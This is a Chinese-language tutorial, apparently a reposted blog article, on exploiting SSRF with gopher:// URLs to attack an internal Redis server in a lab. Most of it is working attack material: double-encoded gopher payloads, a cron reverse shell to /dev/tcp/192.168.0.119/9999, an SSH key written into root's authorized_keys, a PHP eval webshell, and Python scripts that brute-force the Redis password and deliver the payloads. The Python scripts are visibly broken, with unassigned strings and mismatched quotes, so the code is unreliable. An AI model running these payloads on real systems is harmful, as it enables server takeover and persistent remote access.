SSRF打內網redis


0x00 redis基礎

 

REmote DIctionary Server(Redis) 是一個由Salvatore Sanfilippo寫的key-value存儲系統。
Redis是一個開源的使用ANSI C語言編寫、遵守BSD協議、支持網絡、可基於內存亦可持久化的日志型、Key-Value數據庫,並提供多種語言的API。
它通常被稱為數據結構服務器,因為值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等類型。

常見的幾種攻擊方式:
1.利用計划任務執行命令反彈shell

2.寫ssh-keygen公鑰然后使用私鑰登陸

3.往web物理路徑寫webshell

0x01 redis安裝


1、安裝redis
apt-get install redis-server
2、修改redis監聽IP(如果不修改,不可遠程登錄),IP需要替換為自己的IP
vim /etc/redis/redis.conf
# 修改為以下內容
bind 127.0.0.1 192.168.0.67
3、啟動redis服務
service redis-server start

0x02 redis入侵,反彈shell

在開始講攻擊Redis之前,必須要理解Redis的客戶端和服務端的通信方式,以及數據發送的格式,該目的的實現需要tcpdump的抓包功能。使用抓包軟件來查看Redis客戶端和Redis服務端的通信數據,找到語法結構后開始模擬客戶端發送數據。

 

 

 

1、使用tcpdump來完成抓包,命令如下:
tcpdump -i eth0 port 6379 -w redis.pcap
參數說明如下:(更多tcpdump的教程,參考[Tcpdump教程](https://www.runoob.com/linux/linux-comm-tcpdump.html))
-i:指定網卡為eth0
port:指定抓哪個端口的數據
-w:將流量包保存為文件
2、使用Redis客戶端登錄Redis服務端,命令如下(默認無密碼):
root@Kali-2018:~/tmp# redis-cli -h 192.168.0.119 -p 6379
192.168.0.119:6379> get a
(nil)
192.168.0.119:6379>

以上命令做了一個獲取a對應的值是多少的操作,現在我們使用wireshark看一下抓到的包(使用追蹤流-TCP流):
上面非常多的內容就不放了

*2
$3
get
$1
a
-1

 


如果不理解Redis的數據發送的數據包格式,是看不懂上面內容的,這里必須要講這么幾個內容:
2.1、序列化協議:客戶端-服務端之間交互的是序列化后的協議數據。在Redis中,協議數據分為不同的類型,每種類型的數據均以CRLF(\r\n)結束,通過數據的首字符區分類型。
2.2、inline command:這類數據表示Redis命令,首字符為Redis命令的字符,格式為 str1 str2 str3 …。如:exists key1,命令和參數以空格分隔。
2.3、simple string:首字符為'+',后續字符為string的內容,且該string 不能包含'\r'或者'\n'兩個字符,最后以'\r\n'結束。如:'+OK\r\n',表示”OK”,這個string數據。
2.4、bulk string:bulk string 首字符為'$',緊跟着的是string數據的長度,'\r\n'后面是內容本身(包含’\r’、’\n’等特殊字符),最后以'\r\n'結束。如:
"$12\r\nhello\r\nworld\r\n"
上面字節串描述了 “hello\r\nworld” 的內容(中間有個換行)。對於" "空串和null,通過'$' 之后的數字進行區分:
"$0\r\n\r\n" 表示空串;
"$-1\r\n" 表示null。
2.5、integer:以 ':' 開頭,后面跟着整型內容,最后以'\r\n'結尾。如:":13\r\n",表示13的整數。
2.6、array:以'*'開頭,緊跟着數組的長度,"\r\n" 之后是每個元素的序列化數據。如:"*2\r\n+abc\r\n:9\r\n" 表示一個長度為2的數組:["abc", 9]。數組長度為0或 -1分別表示空數組或 null。
數組的元素本身也可以是數組,多級數組是樹狀結構,采用先序遍歷的方式序列化。如:[[1, 2], ["abc"]],序列化為:"*2\r\n*2\r\n:1\r\n:2\r\n*1\r\n+abc\r\n"。
3、經過上面內容的講解,在回過頭理解抓到的redis的包就很容易明白了。

上面非常多的內容就不放了
*2 數組長度為2
$3 bulk string,代表字符串長度為3,就是get
get 普通字符
$1 bulk string,代表字符串長度為1,就是a
a 普通字符
-1 返回內容,-1代表null

明白以上內容后基本就理清了思路,如果要給redis發命令,按照他的序列化規則即可。現在有一個大膽的想法,如果我用gopher去執行redis的命令呢?為了實現我們的想法,我們在Redis中加一個key,名字為name,值為Margin。命令如下:

set name Margin

 


此時,我們使用curl來發起gopher的請求,如下:

curl gopher://192.168.0.119:6379/_*2
$3
get
$4
name

 

將其轉化為url編碼

curl gopher://192.168.0.119:6379/_%2a%32%0d%0a%24%33%0d%0a%67%65%74%0d%0a%24%34%0d%0a%6e%61%6d%65%0d%0a


執行結果如下

margine:~ margin$ curl gopher://192.168.0.119:6379/_%2a%32%0d%0a%24%33%0d%0a%67%65%74%0d%0a%24%34%0d%0a%6e%61%6d%65%0d%0a
$6
Margin


那如果是在web漏洞中呢?如何利用?
1、構造利用代碼
2、url轉碼
3、再次url轉碼

web環境我們還是使用上一節課的代碼(curl_exec.php),代碼如下:

<?php
$url = $_GET['url'];
echo $url;
#var_dump(curl_version());
$curlobj = curl_init($url);
echo curl_exec($curlobj);
?>


這次我們發送的redis數據包是

*2
$3
get
$4
name
quit


先對它進行url轉碼

%2a%32%0d%0a%24%33%0d%0a%67%65%74%0d%0a%24%34%0d%0a%6e%61%6d%65%0d%0a%71%75%69%74%0d%0a


注意一般要把%0a替換為%0d%0a(這里我們已經替換過了)

進行二次編碼

%25%32%61%25%33%32%25%30%64%25%30%61%25%32%34%25%33%33%25%30%64%25%30%61%25%36%37%25%36%35%25%37%34%25%30%64%25%30%61%25%32%34%25%33%34%25%30%64%25%30%61%25%36%65%25%36%31%25%36%64%25%36%35%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34%25%30%64%25%30%61

 



然后構造利用代碼

http://192.168.1.105/curl_exec.php?url=gopher%3a%2f%2f192.168.1.101%3a6379%2f_%25%32%61%25%33%32%25%30%64%25%30%61%25%32%34%25%33%33%25%30%64%25%30%61%25%36%37%25%36%35%25%37%34%25%30%64%25%30%61%25%32%34%25%33%34%25%30%64%25%30%61%25%36%65%25%36%31%25%36%64%25%36%35%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34%25%30%64%25%30%61

 


進行請求

 

 

成功讀取到redis數據庫鍵name的值

monitor可以實時查看redis的日志

 

 

 接下來測試下反彈shell(沒有用上面講的redis的數據包格式,下面的格式也可以),命令如下:

set mars "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save


上述命令的含義總結為,利用Redis的備份功能,將crontab的定時任務備份到/etc/crontab中,起到執行命令的效果,因為Linux會監測/etc/crontab的內容,當我們將反彈shell的命令加入進去后,變會被執行,具體解釋如下:
crontab是linux下的一個定時任務


# 添加名為mars的key,值為后面反彈shell的語句,5個星號代表每分鍾執行一次,開始和技術的\n必須要有一個,也就是前后各有一個,當然,多個可以,主要是為了避免crontab的語法錯誤。crontab知識可以參考:【https://www.runoob.com/w3cnote/linux-crontab-tasks.html】

set mars "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n\n\n\n"
# 設置備份的路徑為/etc
config set dir /etc/
# 設置備份文件名為crontab
config set dbfilename crontab
# 開始備份
save


進行二次url編碼,結果如下

http://192.168.1.105/curl_exec.php?url=gopher%3a%2f%2f192.168.1.101%3a6379%2f_%25%37%33%25%36%35%25%37%34%25%32%30%25%36%64%25%36%31%25%37%32%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%32%30%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%33%31%25%33%39%25%33%32%25%32%65%25%33%31%25%33%36%25%33%38%25%32%65%25%33%31%25%32%65%25%33%31%25%33%30%25%33%36%25%32%66%25%33%39%25%33%39%25%33%39%25%33%39%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%36%33%25%37%32%25%36%66%25%36%65%25%37%34%25%36%31%25%36%32%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35%25%30%64%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34%25%30%64%25%30%61

 

1分鍾后發現成功反彈shell。

0x03 redis認證攻擊


以上為Redis未授權訪問攻擊,但如果Redis設置了密碼呢?
如果要執行命令的話,必須要有密碼才可以,所以接下來的問題便是如何破解Redis的密碼,首先想到的暴力破解。此時要研究下Redis如何驗證身份信息。方法還是抓包,抓到認證的流量,重放即可。抓包發現:

*2
$4
auth
$6
Margin


可以翻譯為認證命令為auth xxxx
那么我們將redis的密碼改為任意密碼,我設置為Margin
config set requirepass Margin
將請求包改為

auth Margin
quit


python代碼變為

 1 #!/usr/bin/python
 2 # -*- coding: UTF-8 -*-
 3 import urllib2,urllib
 4 url = "http://192.168.0.109/ssrf/base/curl_exec.php?url="
 5 gopher = "gopher://192.168.0.119:6379/_"
 6 def get_password():
 7     f = open("password.txt","r")
 8     return f.readlines()
 9 def encoder_url(data):
10     encoder = ""
11     for single_char in data:
12         # 先轉為ASCII
13         encoder += str(hex(ord(single_char)))
14     encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
15     return encoder
16 for password in get_password():
17     # 攻擊腳本
18     "auth %s
19     quit
20     """ % password
21     # 二次編碼
22     encoder = encoder_url(encoder_url(data))
23     # 生存payload
24     payload = url + urllib.quote(gopher,'utf-8') + encoder
25 # 發起請求
26     request = urllib2.Request(payload)
27     response = urllib2.urlopen(request).read()
28     if response.count("+OK") > 1:
29         print "find password : " + password



所以,在已知密碼的情況下可以將攻擊的python代碼中加入認證的語句,如下:

auth Margin
set mars "\\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/6671  0>&1\\n"
config set dir /etc/
config set dbfilename crontab
save


再次運行python腳本,便可成功反彈shell。

 

0x04 寫ssh-keygen公鑰,用私鑰登錄


在上面的內容中描述了如何使用Redis的數據備份執行命令,接下來講解通過寫入ssh-keygen公鑰,使用私鑰登錄。思路還是利用備份,將私鑰字符串備份到目標服務器.ssh目錄下。
要完成此操作,需要兩個前提條件
(1)Redis服務使用ROOT賬號啟動(可以臨時執行sudo -u root /usr/bin/redis-server /etc/redis/redis.conf 來以root權限運行)
(2) 服務器開放了SSH服務,而且允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務器。
首先在本地生成一對密鑰

 

 

 查看密鑰的字符串,一會使用Redis的備份功能,將密鑰字符串傳到目標服務器。

margine:.ssh margin$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgDf+ah2WKGExLdwR/wb8959lZiiV+N0l55PxuwjkclpCAiZSXW8QSMmXPEyRazonnb63cLQHyOnB3u7IPRlqCcKIRnB3qX0GtgjPgDDQlda5pCY99tgtzPQ6qkaiOaxy6k6GQFdSYU5if2m4c/B1DlVSodw7F0sI+v8OG2iGy8UY2n+B049EKpgky45V96xhA9lIFi1tYJiLF7X6tx8l2Jf4OkC8y5am6P1lIG2vg2eraY6iXsCsE8D8Q2nYxdPT5ogKgdyjWULzbRMBjaPgxlgktv12cYjxqbIQhlUKGQxbBxIESf8sY+NMAODAwR4wBDl3thllYsHCzUf5c9yVR margin@margine.local

 

構造payload,如下:

config set dir /root/.ssh/
config set dbfilename authorized_keys
set margin "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgDf+ah2WKGExLdwR/wb8959lZiiV+N0l55PxuwjkclpCAiZSXW8QSMmXPEyRazonnb63cLQHyOnB3u7IPRlqCcKIRnB3qX0GtgjPgDDQlda5pCY99tgtzPQ6qkaiOaxy6k6GQFdSYU5if2m4c/B1DlVSodw7F0sI+v8OG2iGy8UY2n+B049EKpgky45V96xhA9lIFi1tYJiLF7X6tx8l2Jf4OkC8y5am6P1lIG2vg2eraY6iXsCsE8D8Q2nYxdPT5ogKgdyjWULzbRMBjaPgxlgktv12cYjxqbIQhlUKGQxbBxIESf8sY+NMAODAwR4wBDl3thllYsHCzUf5c9yVR margin@margine.local"
save
quit


進一步得到python代碼為:

 1 #!/usr/bin/python
 2 # -*- coding: UTF-8 -*-
 3 import urllib2,urllib
 4 
 5 url = "http://192.168.0.109/ssrf/base/curl_exec.php?url="
 6 gopher = "gopher://192.168.0.67:6379/_"
 7 
 8 # 攻擊腳本
 9 "config set dir /root/.ssh/
10 config set dbfilename authorized_keys
11 set margin "\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgDf+ah2WKGExLdwR/wb8959lZiiV+N0l55PxuwjkclpCAiZSXW8QSMmXPEyRazonnb63cLQHyOnB3u7IPRlqCcKIRnB3qX0GtgjPgDDQlda5pCY99tgtzPQ6qkaiOaxy6k6GQFdSYU5if2m4c/B1DlVSodw7F0sI+v8OG2iGy8UY2n+B049EKpgky45V96xhA9lIFi1tYJiLF7X6tx8l2Jf4OkC8y5am6P1lIG2vg2eraY6iXsCsE8D8Q2nYxdPT5ogKgdyjWULzbRMBjaPgxlgktv12cYjxqbIQhlUKGQxbBxIESf8sY+NMAODAwR4wBDl3thllYsHCzUf5c9yVR margin@margine.local\\n\\n"
12 save
13 quit
14 
15 """
16 
17 def encoder_url(data):
18     encoder = ""
19     for single_char in data:
20         # 先轉為ASCII
21         encoder += str(hex(ord(single_char)))
22     encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
23     return encoder
24 
25 # 二次編碼
26 encoder = encoder_url(encoder_url(data))
27 
28 print encoder
29 # 生存payload
30 payload = url + urllib.quote(gopher,'utf-8') + encoder
31 
32 # 發起請求
33 request = urllib2.Request(payload)
34 response = urllib2.urlopen(request).read()
35 print response

 

 

0x05 寫webshell


經過上面文章的學習,對於寫webshell來說便變得非常簡單,要完成此操作,需要兩個前提條件
(1)當前運行redis的用戶在web目錄有寫權限
(2) 知道web目錄的絕對路徑
步驟比較簡單,原理還是利用Redis的備份功能,只不過這次是備份成webshell(redis所在的服務器需要phpstudy環境,參考Linux下phpstudy安裝
修改python中的payload,如下:

"config set dir /var/www/html/
config set dbfilename margin.php
set margin "\\n<?php eval($_POST['margin']);?>\\n"
save
quit
"""


此處不貼完整的python代碼了,執行后可以看到目標主機有了margin.php文件,使用菜刀連接即可。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM